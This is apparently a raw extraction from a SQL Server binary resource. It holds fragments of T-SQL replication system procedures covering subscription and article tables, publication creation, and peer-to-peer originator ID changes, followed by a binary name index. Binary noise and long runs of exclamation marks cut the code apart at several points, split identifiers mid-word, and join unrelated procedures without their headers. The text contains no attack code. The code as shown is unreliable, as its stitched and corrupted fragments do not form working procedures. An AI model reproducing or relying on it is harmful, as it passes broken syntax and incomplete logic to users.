            GOTO ERROR
        END

    END

       /* Creating 'syssubscriptions' */
    IF not exists (select * from sys.objects where name = 'syssubscriptions')
    BEGIN

        CREATE TABLE dbo.syssubscriptions
        (
        artid                   int                 NOT NULL,
        srvid                   smallint            NOT NULL,
        dest_db                 sysname             NOT NULL,
        status                  tinyint             NOT NULL,
        sync_type               tinyint             NOT NULL,
        login_name              sysname             NOT NULL,
        subscription_type       int                 NOT NULL,
        distribution_jobid      binary(16)          NULL,
        timestamp NOT NULL,
        -- SyncTran
        update_mode             tinyint             NOT NULL, -- 0(read only), 1(Sync Tran), 2(Queued Tran), 3(Failover), 
                                                         -- 4(sqlqueued), 5(sqlqueued failover), 6(sqlqueued qfailover), 7(qfailover)
        loopback_detection      bit NOT NULL,
        queued_reinit           bit DEFAULT 0       NOT NULL,
        nosync_type             tinyint DEFAULT 0   NOT NULL -- 0(none), 1(replication support only), 2(initialize with backup), 3(initialize from lsn)   
        ,srvname sysname not null default N''
        )

        exec dbo.sp_MS_marksystemobject 'syssubscriptions'

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create unique nonclustered index unc1syssubscriptions
            on syssubscriptions (artid, srvid, dest_db, srvname)

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

    END

    -- SyncTran
    /* Creating 'sysarticleupdates' */

    IF not exists (select * from sys.objects where name = 'sysarticleupdates')
    BEGIN

        CREATE TABLE dbo.sysarticleupdates
        (
        artid                  int       NOT NULL,
        pubid                  int       NOT NULL,
        sync_ins_proc          int       NOT NULL,     -- ID of sproc handling Insert Sync Transactions
        sync_upd_proc          int       NOT NULL,     -- ID of sproc handling Update Sync Transactions
        sync_del_proc          int       NOT NULL,     -- ID of sproc handling Delete Sync Transactions
        autogen                bit       NOT NULL,
        sync_upd_trig          int       NOT NULL,     -- Note 7.0 upgrade issue
        conflict_tableid       int       NULL,         -- ID of conflict table for this article
        ins_conflict_proc      int       NULL,         -- ID of sproc to log conflicts
        identity_support       bit default 0 not null  -- Whether or not do auto identity range 
        )     

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END


        -- mark the index as a system object
        exec dbo.sp_MS_marksystemobject 'sysarticleupdates'

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create unique nonclustered index unc1sysarticleupdates
            on sysarticleupdates (artid, pubid)

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END
    END
    -- end SyncTran


    IF not exists (select * from sys.objects where name = 'MSpub_identity_range')
    BEGIN
        CREATE TABLE dbo.MSpub_identity_range
        (
            objid int not null,
            range bigint not null,
            pub_range bigint not null,
            current_pub_range bigint not null,
            threshold int not null,
            last_seed bigint null -- It will be not when uninitialized.
        )     

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END


        -- mark the index as a system object
        exec dbo.sp_MS_marksystemobject 'MSpub_identity_range'

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create unique nonclustered index unc1MSpub_identity_range
            on MSpub_identity_range (objid)

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END
    END

    IF not exists (select * from sys.objects where name = 'systranschemas' and schema_id = 1)
    BEGIN
        CREATE TABLE dbo.systranschemas
        (
            tabid int not null,
            startlsn binary(10) not null,
            endlsn binary(10) not null,
			typeid int not null default 52
    	)     

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        -- mark the index as a system object
        exec dbo.sp_MS_marksystemobject 'systranschemas'

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create unique clustered index uncsystranschemas
            on systranschemas (startlsn)

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END
    END

	-- We will always create PeerToPeer tables at the publisher. Subscriber side 
	-- tables will only be created when subscribed to PeerToPeer publication
	exec @retcode = sys.sp_MScreate_peer_tables
	IF @retcode <> 0 or @@ERROR <> 0
    BEGIN
    	GOTO ERROR
    END

	EXEC @retcode = sys.sp_MSrepl_ddl_triggers @type='tran', @mode='drop'
	IF @@ERROR <> 0 or @retcode <> 0
	BEGIN
    	GOTO ERROR
	END

	EXEC @retcode = sys.sp_MSrepl_ddl_triggers @type='tran', @mode='add'
	IF @@ERROR <> 0 or @retcode <> 0
	BEGIN
    	GOTO ERROR
	END
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<4}=	czthe SQL Server Agent Service Account.
                RAISERROR(21452, 10, -1, N'qreader')
                SELECT @qreader_exists = 1
            END
        END -- @isyukonsecuritymodelrequired = 0
        ELSE
        BEGIN
            -- make sure we have added the qreader agent
            IF @qreader_exists = 0
            BEGIN
                -- The 'qreader' agent job must be added via 'sp_addqreader_agent' before continuing. Please see the documentation for 'sp_addqreader_agent'.
                RAISERROR(21798, 16, -1, N'qreader', N'sp_addqreader_agent', N'sp_addqreader_agent')
                GOTO UNDO
            END
        END -- @isyukonsecuritymodelrequired = 1
    END -- IF @allow_queued_tran_id = 1
    /*
    ** Add the publication to the distributor side
    */
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.dbo.sp_MSadd_publication'
    EXECUTE @retcode =   @distproc
                                    @publisher = @loc_publisher,
                                    @publisher_db = @publisher_db,
                                    @publication = @publication,
                                    @publication_type = @rfid,
                                    @independent_agent = @independent_agent_id,
                                    @immediate_sync = @immediate_sync_id,
                                    @allow_push = @allow_push_id,
                                    @allow_pull = @allow_pull_id,
                                    @allow_anonymous = @allow_anonymous_id,
                                    @description = @description,
                                    @retention = @retention,
                                    @sync_method = @smid,
                                    @allow_subscription_copy = @allow_subscription_copy_id,
                                    @allow_queued_tran = @allow_queued_tran_id,
                                    @queue_type = @queue_type_val,
                                    @publisher_type = @publisher_type,
                                    @options = @options_bitfield,
                                    @publisher_engine_edition = @publisher_engine_edition,
                                    @allow_initialize_from_backup = @allow_initialize_from_backup_id
    IF @@ERROR <> 0 or @retcode <> 0
    GOTO UNDO

    -- now that we have a Publication_id we can insert IHpublications, which is the 
    -- equivelent to syspublications on the publisher
    IF @issqlpublisher = 0
    BEGIN
        EXECUTE @retcode = sys.sp_IHaddpublication
             @name                          = @publication
            ,@publisher                     = @publisher
            ,@rfid                          = @rfid
            ,@statid                        = @statid
            ,@sync_method_id                = @smid
            ,@enabled_for_internet_id       = @enabled_for_internet_id
            ,@allow_sync_tran               = @allow_sync_tran_id
            ,@autogen_sync_procs            = @autogen_sync_procs_id
            ,@snapshot_in_defaultfolder_bit = @snapshot_in_defaultfolder_bit
            ,@alt_snapshot_folder           = @alt_snapshot_folder
            ,@pre_snapshot_script           = @pre_snapshot_script
            ,@post_snapshot_script          = @post_snapshot_script
            ,@compress_snapshot_bit         = @compress_snapshot_bit
            ,@ftp_address                   = @ftp_address
            ,@ftp_port                      = @ftp_port
            ,@ftp_subdirectory              = @ftp_subdirectory
            ,@ftp_login                     = @ftp_login
            ,@enc_ftp_password              = @enc_ftp_password
            ,@allow_dts_id                  = @allow_dts_id
            ,@allow_anonymous_id            = @allow_anonymous_id
            ,@description                   = @description
            ,@independent_agent             = @independent_agent_id
            ,@immediate_sync                = @immediate_sync_id
            ,@allow_push                    = @allow_push_id
            ,@allow_pull                    = @allow_pull_id
            ,@retention                     = @retention
            ,@allow_subscription_copy       = @allow_subscription_copy_id
            ,@options                       = @options_bitfield
        IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO
        -- If this is a heterogeneous publisher, signal log reader to update article cache
        EXEC @retcode = sys.sp_IHreplflush @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            SELECT @retcode = 1
            GOTO UNDO
        END
    END

    -- Populate the initial list.
    exec @retcode = sys.sp_grant_publication_access @publication = @publication,
                                                                            @login = null,
                                                                            @reserved = N'init',
                                                                            @publisher = @publisher
    IF @@error <> 0 OR @retcode <> 0
        GOTO UNDO

    COMMIT TRAN

    -- if this is Peer-To-Peer we need to add the metadata 
    -- locally so that we can forward it to the subscribers
    IF @enabled_for_p2p = N'true'
    BEGIN

        BEGIN TRAN sp_addpublication
        SAVE TRAN sp_addpublication

	 if @current_db_version = 0
	    begin
           exec @retcode = sys.sp_MSgetdbversion @current_version = @current_db_version output
           IF @@error <> 0 or @retcode <> 0
               goto UNDO
        end

        exec @retcode = sys.sp_MSaddpeerlsn @originator = @loc_publisher,
                                                            @originator_db = @publisher_db,
                                                            @originator_publication = @publication,
                                                            @originator_publication_id = @pubid, 
                                                            @originator_db_version = @current_db_version,
                                                            @originator_lsn = 0x0,
                                                            @originator_version = @@microsoftversion,
                                                            @originator_id = @p2p_originator_id
        IF @@error <> 0 or @retcode <> 0
            goto UNDO

        COMMIT TRAN
    END

    RETURN(0)
FAILURE:
    return (1)   
UNDO:
    IF @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN sp_addpublication
        COMMIT TRAN   
    end
    return 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6><v,{_snapshot,
															@force_reinit_subscription = @force_reinit_subscription,
															@publisher = @publisher,
															@publisher_type = @publisher_type
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO
			
			SELECT @syncmethodid = 0

			-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
			RAISERROR(21853, 10, -1, 'sync_method', 'publication', @publication, 'native', 'Peer-To-Peer')
		END
		
		IF @allow_anonymous = 1
		BEGIN
			EXEC @retcode = sys.sp_MSrepl_changepublication @publication = @publication,
															@property = 'allow_anonymous',
															@value = 'false',
															@force_invalidate_snapshot = @force_invalidate_snapshot,
															@force_reinit_subscription = @force_reinit_subscription,
															@publisher = @publisher,
															@publisher_type = @publisher_type
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO
			
			SELECT @allow_anonymous = 0

			-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
			RAISERROR(21853, 10, -1, 'allow_anonymous', 'publication', @publication, 'false', 'Peer-To-Peer')
		END

		IF @immediate_sync = 0
		BEGIN
			EXEC @retcode = sys.sp_MSrepl_changepublication @publication = @publication,
															@property = 'immediate_sync',
															@value = 'true',
															@force_invalidate_snapshot = @force_invalidate_snapshot,
															@force_reinit_subscription = @force_reinit_subscription,
															@publisher = @publisher,
															@publisher_type = @publisher_type
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO

			SELECT @immediate_sync = 1

			-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
			RAISERROR(21853, 10, -1, 'immediate_sync', 'publication', @publication, 'true', 'Peer-To-Peer')
		END
		
		IF @allow_initialize_from_backup = 0
		BEGIN
			EXEC @retcode = sys.sp_MSrepl_changepublication @publication = @publication,
															@property = 'allow_initialize_from_backup',
															@value = 'true',
															@force_invalidate_snapshot = @force_invalidate_snapshot,
															@force_reinit_subscription = @force_reinit_subscription,
															@publisher = @publisher,
															@publisher_type = @publisher_type
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO
			
			SELECT @allow_initialize_from_backup = 1

			-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
			RAISERROR(21853, 10, -1, 'allow_initialize_from_backup', 'publication', @publication, 'true', 'Peer-To-Peer')
		END

		-- update table article options
		DECLARE #crArticles CURSOR LOCAL FAST_FORWARD FOR
			SELECT name,
					objid,
					schema_option,
					status
				FROM sysarticles
					WHERE pubid = @pubid

		OPEN #crArticles

		FETCH #crArticles INTO @art_name, @art_objid, @art_schema_option, @art_status

		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @art_colname = NULL
			
			-- For identity range tables update from NONE to MANUAL if needed
			SELECT @art_colname = name
				FROM sys.columns
			    WHERE object_id = @art_objid 
					AND is_identity = 1 

			IF @art_colname IS NOT NULL
			BEGIN
				SELECT @prop_change = 0
				
				IF CONVERT(int, @art_schema_option) & 0x4 = 0 
				BEGIN
					SELECT @art_schema_option = fn_replprepadbinary8(fn_replgetbinary8lodword(@art_schema_option) | 0x4)

					UPDATE sysarticles
						SET schema_option = @art_schema_option
						WHERE pubid = @pubid
							AND name = @art_name
							AND objid = @art_objid

					SELECT @prop_change = 1
				END

				IF ColumnProperty(@art_objid, @art_colname, N'IsIdNotForRepl') = 0
				BEGIN
					-- Mark 'not for repl'
					EXEC %%ColumnEx(ObjectID = @art_objid, Name = @art_colname).SetIdentityNotForRepl(Value = 1)
				    IF @@ERROR <> 0
				        GOTO UNDO

				    SELECT @prop_change = 1
				END

				IF @prop_change = 1
				BEGIN
					-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
					RAISERROR(21853, 10, -1, 'identityrangemanagementoption ', 'article', @art_name, 'manual', 'Peer-To-Peer')
				END
			END
			
			-- Update status settings, only if article is not procedure (don't check for IsTable, need to cover indexed view as well) 
			IF (@art_status & 16 != 16) and (OBJECTPROPERTY (@art_objid, 'IsProcedure') = 0)
			BEGIN
				EXEC @retcode = sys.sp_MSrepl_changearticle @publication = @publication,
							    							@article = @art_name,
							    							@property = 'status',
							    							@value = 'parameters',
															@force_invalidate_snapshot = @force_invalidate_snapshot,
															@force_reinit_subscription = @force_reinit_subscription,
															@publisher = @publisher,
															@publisher_type = @publisher_type
				IF @@ERROR <> 0 or @retcode <> 0
					GOTO UNDO

				-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
				RAISERROR(21853, 10, -1, 'status', 'article', @art_name, 'status | 16', 'Peer-To-Peer')
			END
			
			FETCH #crArticles INTO @art_name, @art_objid, @art_schema_option, @art_status
		END

		CLOSE #crArticles
		DEALLOCATE #crArticles

		-- flush article cache since we made changes to article status
		EXEC @retcode = sys.sp_replflush
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
		    GOTO UNDO
		END
		
		-- verify that the publication has valid settings for P2P
		EXEC @retcode = sys.sp_MSvalidatepeertopeerpublication @publication = @publication
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
		    GOTO UNDO
		END

		-- verify that all the articles have valid settings for P2P
		EXEC @retcode = sys.sp_MSvalidatepeertopeerarticles @publication = @publication
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
		    GOTO UNDO
		END
		
		-- since this is PeerToPeer we will need to add the metadata locally so that it can
		-- be used by the backup/restore process and also so that we can fwd it to subscribers
		EXEC @retcode = sys.sp_MSaddpeerlsn @originator = @publisher_local,
											@originator_db = @dbname,
											@originator_publication = @publication,
											@originator_publication_id = @pubid, 
											@originator_db_version = @current_db_version,
											@originator_lsn = 0x0,
											@originator_version = @@microsoftversion,
                                                                             @originator_id = @p2p_originator_id
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
		    GOTO UNDO
		END
		
       	-- Call change publication at the distributor to update the options field
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                							@distribdb = @distribdb OUTPUT
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
			GOTO UNDO
        END

        SELECT @dbname =  DB_NAME(),
        		@distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
                            N'.dbo.sp_MSchange_publication'

        EXEC @retcode = @distproc @publisher = @publisher_local,
			                        @publisher_db = @dbname,
			                        @publication = @publication,
			                        @property = N'options',
			                        @value = @options
        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            GOTO UNDO
        END

		-- change the options field for local syspublications table
        UPDATE dbo.syspublications
        	SET options = @options
        	WHERE name = @publication
        		AND pubid = @pubid
    END
    
    
	-- P2P conflict detection options
	if @property in (N'p2p_originator_id', N'conflict_retention', N'p2p_continue_onconflict')
	begin
		if (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_F!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7>mv,{OR_P2P
			and (@options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION
		begin
			if (@property = N'conflict_retention')
			begin
				select @conflict_retention = CAST(@value as integer)
				if (@@error != 0) or (@conflict_retention < 0)
				begin
					raiserror(20050, 16, -1, 0)
					goto UNDO                    
				end

				if (@conflict_retention is NULL)
					select @conflict_retention = 60

				update syspublications
				set conflict_retention = @conflict_retention
				where pubid = @pubid
				if @@error <> 0
				begin
					goto UNDO
				end
			end

			if (@property = N'p2p_continue_onconflict')
			begin
				select @value = LOWER(@value)
				if @value not in (N'true', N'false')
				begin
					-- The @value parameter value must be either 'true' or 'false'.
					raiserror (14137, 16, -1)
		    			goto UNDO
				end

				if ((@options & @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT) = @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT and 
					@value = N'false' or
				     (@options & @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT) <> @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT and 
					@value = N'true')
				begin
					if @value = N'false'
						select @options = @options & (~ @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT)
					else
						select @options = @options | @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT

					update syspublications
					set options = @options
					where pubid = @pubid
					if @@error <> 0
					begin
						goto UNDO
					end
				end
			end


			if (@property = N'p2p_originator_id')
			begin
				-- 0 is not a valid ID
				if CAST(@value as integer) = 0 or CAST(@value as integer) = 0x80000000
				begin
					-- Originator ID provided is invalid: 0 or 0x80000000.
					raiserror(22806, 16, -1, @value)
					goto UNDO
				end 
				
				--update only when different from existing value
				if @value is not null and CAST(@value as integer) <> @p2p_originator_id
				begin
					select @p2p_originator_id = CAST(@value as integer)

					declare @numids int
					select @numids = count(*) from dbo.MSpeer_originatorid_history with (holdlock, tablock, xlock) -- X lock the whole table
					if @@error <> 0
					begin
						goto UNDO
					end
					
        				-- check ID duplicates
					declare @tmpid int
					exec sp_MScheckgenerate_originatorid @publication = @publication, @old_originator_id = @p2p_originator_id, @new_originator_id = @tmpid output
					if @@error <> 0
					begin
						goto UNDO
					end
					else if @tmpid = 0
					begin
						-- Originator ID provided is invalid: xxx.
						declare @strval nvarchar(32)
						select @strval = cast(@p2p_originator_id as nvarchar)
						raiserror(22806, 16, -1, @strval)
						goto UNDO
					end

					-- update syspublications
					update syspublications
					set originator_id = @p2p_originator_id
					where pubid = @pubid
					if @@error <> 0
					begin
						goto UNDO
					end

					-- change all its articles' replpeerid
					declare @p2pcd_art_objid int, @p2pcd_art_objtype nchar(2)
					
					declare #crArticles cursor LOCAL FAST_FORWARD for
					select A.objid, O.type 
					from sysarticles A join sys.objects O on A.objid = O.object_id
					where A.pubid = @pubid

					open #crArticles
					fetch #crArticles INTO @p2pcd_art_objid, @p2pcd_art_objtype

					while @@fetch_status <> -1
					begin
						if @p2pcd_art_objtype = N'U' --user defined table
						begin
							select @qualifiedname = N'[' + replace(schema_name(ObjectProperty(@p2pcd_art_objid, 'SchemaId')), N']', N']]') + N'].' + N'[' + replace(object_name(@p2pcd_art_objid), N']', N']]') + N']'
							
							EXEC %%Object(MultiName = @qualifiedname).LockMatchID(ID = @p2pcd_art_objid, Exclusive = 1, BindInternal = 0)

							--set the table persistent property replpeerid, the table was not already x-locked
							exec %%Relation(ID = @p2pcd_art_objid).SetReplPeerId(Value = @p2p_originator_id)
							if @@error <> 0 
							begin
								goto UNDO
							end
						end
						
						fetch #crArticles into @p2pcd_art_objid, @p2pcd_art_objtype
					end --while

					close #crArticles
					deallocate #crArticles

					-- flush article cache since we made changes to table replpeerid
					exec @retcode = sys.sp_replflush
					if @@error <> 0 or @retcode <> 0
					begin
						goto UNDO
					end

					-- by sp_MSpeertopeerfwdingexec: executes and posts sp_MSchange_originatorid, which inserts the new ID 
					-- 							into MSpeer_lsns and MSpeer_originatorid_history
					declare @p2pcd_current_db_version int
					exec @retcode = sys.sp_MSgetdbversion @current_version = @p2pcd_current_db_version output
					if @@error <> 0 or @retcode <> 0
					begin
						goto UNDO
					end
          
					-- execute and post 'sp_MSchange_originatorid' by sp_MSpeertopeerfwdingexec
					declare @cmdtxt nvarchar(max)
					select @cmdtxt =	N'if (@@microsoftversion >= 0x0A000000)' + 
									N'begin' +
									N'	exec sys.sp_MSchange_originatorid @originator_node = N' + quotename(publishingservername(), N'''') + 
														N',@originator_db = N' + quotename(DB_NAME(), N'''') + 
														N',@originator_publication= N' + quotename(@publication, N'''') +
														N',@originator_publication_id = ' + cast(@pubid as nvarchar) + 
														N',@originator_db_version = '  + cast(@p2pcd_current_db_version as nvarchar) + 
														N',@originator_id = ' + cast(@p2p_originator_id as nvarchar) +
														N',@originator_version = ' + cast(@@microsoftversion as nvarchar) +
									N' end'

					--execute locally first then posted to log and forwarded
					exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmdtxt, @publication = @publication
					if @@error <> 0 or @retcode <> 0
					begin
						goto UNDO
					end
					
				end --end of @value is not null and CAST(@value as integer) <> @p2p_originator_id
			end	--end of (@property = 'p2p_originator_id')		
		end
	end --end of (@property in ('p2p_originator_id', 'conflict_retention')
    
    -- When changing to support heterogeneous subscriptions, many publication
	-- properies are overwritten.
	IF @property = 'enabled_for_het_sub' and
		LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
	BEGIN
	
	    -- Call sp_MSenable_publication_for_het_sub at the distributor to update all
	    -- of the publication settings in MSpublications to reflect support for heterogeneous
	    -- subscriptions by the publication
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                							@distribdb = @distribdb OUTPUT
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
			GOTO UNDO
        END

        SELECT @dbname =  DB_NAME(),
        		@distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
                            N'.dbo.sp_MSenable_publication_for_het_sub'


		SELECT @sync_method =	CASE	WHEN NOT @publisher_type = N'MSSQLSERVER' AND @repl_freq = 0 THEN 4
										ELSE 1
								END	

        EXEC @retcode = @distproc @publisher = @publisher_local,
			                        @publisher_db = @dbname,
			                        @publication = @publication,
			                        @sync_method = @sync_method	

        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            GOTO UNDO
        END

		UPDATE syspublications
		SET
			-- The 0x4 bit of options is set for the publication, marking it as enabled for
			-- heterogeneous subscriptions, and other option bits are set to 0.
			options = @OPT_ENABLED_FOR_HET_SUB,
			-- Unsupported options are explicitly set to 0 or null, as appropriate
			enabled_for_internet = 0,
			allow_pull = 0,
			allow_sync_tran = 0,
			autogen_sync_procs = 0,
			allow_queued_tran = 0,
			pre_snapshot_script = NULL,
			post_snapshot_script = NULL,
			ftp_address = NULL,
			ftp_port = 0,
			ftp!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	
<"8	1t<&EKf@sp_MSfixup_single_artddls&ց	:sp_MSfixup_single_ddls&e‡Bsp_MSfixupagentoffloadinfo&ODsp_MSfixupaltsnapshotfolder&x@sp_MSfixupdistributorinfo&_Hsp_MSfixupdistributorsecurity&u0sp_MSfixupftpinfo&`Lsp_MSfixupsharedagentproperties&|.sp_MSfixupuseftp&cBsp_MSfixupworkingdirectory&y<sp_MSflush_access_cache&k2sp_MSflush_command&%bsp_MSgeneratenosyncsubscriptionsetupscript&Tpsp_MSgeneratenosyncsubscriptionsetupscript_sqlclr&c
6sp_MSgenreplnickname&#]36sp_MSget_agent_names&!8sp_MSget_attach_state&느8sp_MSget_col_position&.sp_MSget_colinfo&tW<sp_MSget_file_existence&5-0sp_MSget_jobstate&_U7<sp_MSget_latest_peerlsn&U2sp_MSget_load_hint&P}8sp_MSget_map_position&Psp_MSget_mergepullsubsagent_owner&2sp_MSget_oledbinfo&+>sp_MSgen_sync_tran_procs&.2sp_MSget_min_seqno&o@sp_MSget_last_transaction&/56sp_MSget_new_errorid&1<sp_MSget_new_xact_seqno&Bsp_MSget_max_used_identity&qWPsp_MSforce_drop_distribution_jobs&Tsp_MSget_log_shipping_new_sessionid&%8sp_MSgentablenickname&l<sp_MSgenerateexpandproc&<sp_MSget_absolute_colid&dsp_MSget_max_used_identity_from_distributor&f6sp_MSget_new_idrange&EZsp_MSget_dynamic_filtering_information&hZsp_MSget_dynamic_filters_function_list&v&vsp_MSgenerate_articlechangemembershipevaluation_proc&h^sp_MSget_current_subscriber_partition_id&^Xsp_MSget_distinct_semicolon_sep_items&!FNsp_MSget_logical_record_children&>Psp_MSget_article_processing_order&b}Rsp_MSget_dynamic_snapshot_location&vTsp_MSget_effective_pub_compat_level&賴Tsp_MSget_DDL_after_regular_snapshot&[Dsp_MSfixupbeforeimagetables&yJsp_MSget_logicalrecord_lineage&><Lsp_MSget_gen_approx_changecount&Psp_MSget_MSmerge_rowtrack_colinfo&6֜Fsp_MSget_identity_range_info&!dsp_MSgenerate_enumchangedcolumnvalues_query&qfsp_MSget_lightweightarticle_processing_order&#/<sp_MSforcereenumeration&ߑ4sp_MSforeach_worker&z/*sp_MSforeachdb&s|0sp_MSforeachtablep_MSgetmakegenerationapplock_90&Hsp_MSgetmakegenerationapplock&}80sp_MSget_open_gen&xv>sp_MSget_temp_closed_gen&Ũ>sp_MSgetfiltercolumnlist&l<sp_MSgenerateexpandproc&<sp_MSget_absolute_colid&dsp_MSget_max_used_identity_from_distributor&f6sp_MSget_new_idrange&pɣLsp_MSgetpartitionsnapshotfolder&EZsp_MSget_dynamic_filtering_information&hZsp_MSget_dynamic_filters_function_list&Jsp_MSget_partitionid_eval_proc&v&vsp_MSgenerate_articlechangemembershipevaluation_proc&kNsp_MSget_subscriber_partition_id&h^sp_MSget_current_subscriber_partition_id&^Xsp_MSget_distinct_semicolon_sep_items&!FNsp_MSget_logical_record_children&>Psp_MSget_article_processing_order&b}Rsp_MSget_dynamic_snapshot_location&'Jsp_MSgetdynamicsnapshotapplock&^@sp_MSgetmergeadminapplock&ϲ>sp_MSgetfilteringcolumns&vTsp_MSget_effective_pub_compat_level&賴Tsp_MSget_DDL_after_regular_snapshot&*sp_MSgetonerow& 